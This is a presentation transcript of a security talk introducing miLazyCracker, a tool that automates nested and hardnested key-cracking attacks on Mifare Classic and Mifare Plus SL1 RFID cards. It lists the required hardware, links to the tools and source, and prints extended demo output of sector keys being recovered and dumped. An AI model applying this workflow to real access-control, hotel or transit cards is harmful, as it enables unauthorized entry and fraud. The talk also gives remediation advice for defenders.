MiLazyCracker Kevin Larson.

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Presentation transcript:

miLazyCracker Kevin Larson

Me Software Engineer at Honeywell This presentation in no way represents my employer or what I do there, this work was done completely on my time and my dime Masters Student at University Of Minnesota, USA

Research Note Mifare Plus Cracking This presentation does not disclose any new vulnerabilities, simply builds on existing tools to make them easy to use

Mifare Classic simple storage device read/write access permissions per block via keys e-wallet, access control, transportation, hotels Not all systems rely on networked/server side checks Custom crypto library – CRYPTO1 Source: https://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic.2C_MIFARE_DESFire_and_MIFARE_Ultralight

Mifare Memory Layout Source: NXP

Mifare Classic Attacks – Card Only Open source NFC tools for Mifare Classic MFOC (Nested Attack) Relies on the fact that one key is known MFCUK (Darkside Attack) No keys are known for the card at all MFCUK: https://github.com/nfc-tools/mfcuk MFOC: https://github.com/nfc-tools/mfoc

IMG URL: https://www.pinterest.com/pin/440297301040955293/ Response to Attacks Released Mifare Plus card - AES option Backwards compatible with Mifare Classic (uses CRYPTO1 as well) Fixed PRNG, no longer vulnerable to existing card-only attacks (MFOC/MFCUK) IMG URL: https://www.pinterest.com/pin/440297301040955293/

Researchers Response Carlo Meijer and Roel Verdult http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf Found new card-only attacks (Mifare Plus SL1) Important because many installations likely did not update infrastructure

My Goals Reproduce the attack Get the proper hardware and software Improve attack / easier to use Can I make it faster? Real-time even?

Hardware and Tools SCL3711 (~$30) Proxmark3 ($212) Mifare Plus Cards (~$75) Mifare Reader (~$50) Config Software (FREE!) Crappy eBay lock * Not all Classic readers accept MF+ (timing)

The Hardnested Attack Nested attacked on hardened cards = “hardnested” Requires at least one known key Many attempts at nested authentication Collect unique encrypted nonces Leaked bits can reduce keyspace to ~2^20 Brute-force

What did I actually do? Improving the attack was difficult People a lot smarter than me don’t sleep Speed of the attack is heavily dependent on the physical time constraints Make this REALLY easy to use

Are you lazy? Everyone is lazy Lets make this easy: Try miLazyCracker! Don’t know if you have a Mifare Classic or Plus? Don’t have time to wait for older attacks (MFOC) Don’t have over $200 to buy a Proxmark? Have $30 for a usb reader? Try miLazyCracker!

miLazyCracker modified LibNFC version of MFOC to ID the PRNG Modified LibNFC version of hardnested attack to save additional data for tool automation Created wrapper script to figure out all parameters necessary, no input parameters needed

Demo ./miLazyCracker … Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 Try to authenticate to all sectors with default keys... Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 01 - Unknown Key A Found Key B: 000000000000 Sector 11 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 12 - Unknown Key A Unknown Key B Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000

Demo (cont.) PRNG is not vulnerable to nested attack MFOC not possible, detected hardened Mifare Classic Trying HardNested Attack... libnfc_crypto1_crack 000000000000 60 B 48 B … Collected 1540 nonces... leftover complexity 199741811968 (~2^37.54) - initializing brute-force phase... Found key: 000000143575 The custom key 0x000000143575 has been added to the default keys  … recursively calling attacks in wrapper script... libnfc_crypto1_crack 000000000000 60 B 48 A Found key: 66778899aabb The custom key 0x66778899aabb has been added to the default keys Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: 000000143575] -> [............\...] [Key: 66778899aabb] -> [............x...] [Key: ffffffffffff] -> [x.xxxxxxxxxxxxxx] [Key: a0a1a2a3a4a5] -> [x.xxxxxxxxxxxxxx] [Key: d3f7d3f7d3f7] -> [x.xxxxxxxxxxxxxx]

Demo (cont.) Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 01 - Unknown Key A Found Key B: 000000000000 Sector 02 - Found Key A: ffffffffffff Found Key B: 000000000000 … Sector 12 - Found Key A: 66778899aabb Found Key B: 000000143575 Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000 Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000 Using sector 00 as an exploit sector PRNG is not vulnerable to nested attack MFOC not possible, detected hardened Mifare Classic Trying HardNested Attack... libnfc_crypto1_crack 000000000000 60 B 4 A Found tag with uid a007a2a0, collecting nonces for key A of block 4 using known key B 000000000000 for block 60 Collected 4003 nonces... leftover complexity 35169220696 (~2^35.03) - initializing brute-force phase... Starting 8 threads to test 35169220696 states using 256-way bitslicing Cracking... 98.28% No solution found :( …. Keep Trying! We’ll get different nonces next time around….

Demo (cont.) MFOC not possible, detected hardened Mifare Classic Trying HardNested Attack... libnfc_crypto1_crack 000000000000 60 B 4 A Collected 23435 nonces... leftover complexity 10712945232 (~2^33.32) - initializing brute-force phase... Found key: 112233445566..  Auth with all sectors succeeded, dumping keys to a file!

https://github.com/iAmNotSuperman/miLazyCracker/ Source Code Released https://github.com/iAmNotSuperman/miLazyCracker/

Remediation CUSTOM CRYPTO DO NOT USE Mifare Classic should be avoided ** Mifare Plus SL2 and SL3 are secure **

Questions?